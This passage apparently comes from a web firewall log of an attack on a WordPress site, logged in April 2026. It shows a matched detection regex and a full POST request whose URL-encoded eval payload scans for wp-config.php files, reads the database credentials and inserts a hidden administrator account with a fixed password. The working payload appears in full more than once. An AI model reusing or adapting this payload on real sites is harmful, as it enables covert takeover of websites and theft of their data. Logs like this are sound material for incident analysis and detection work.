24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 11:36:24","52.55.0.244","POST","\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VmQHcs:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nVmQHcs=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
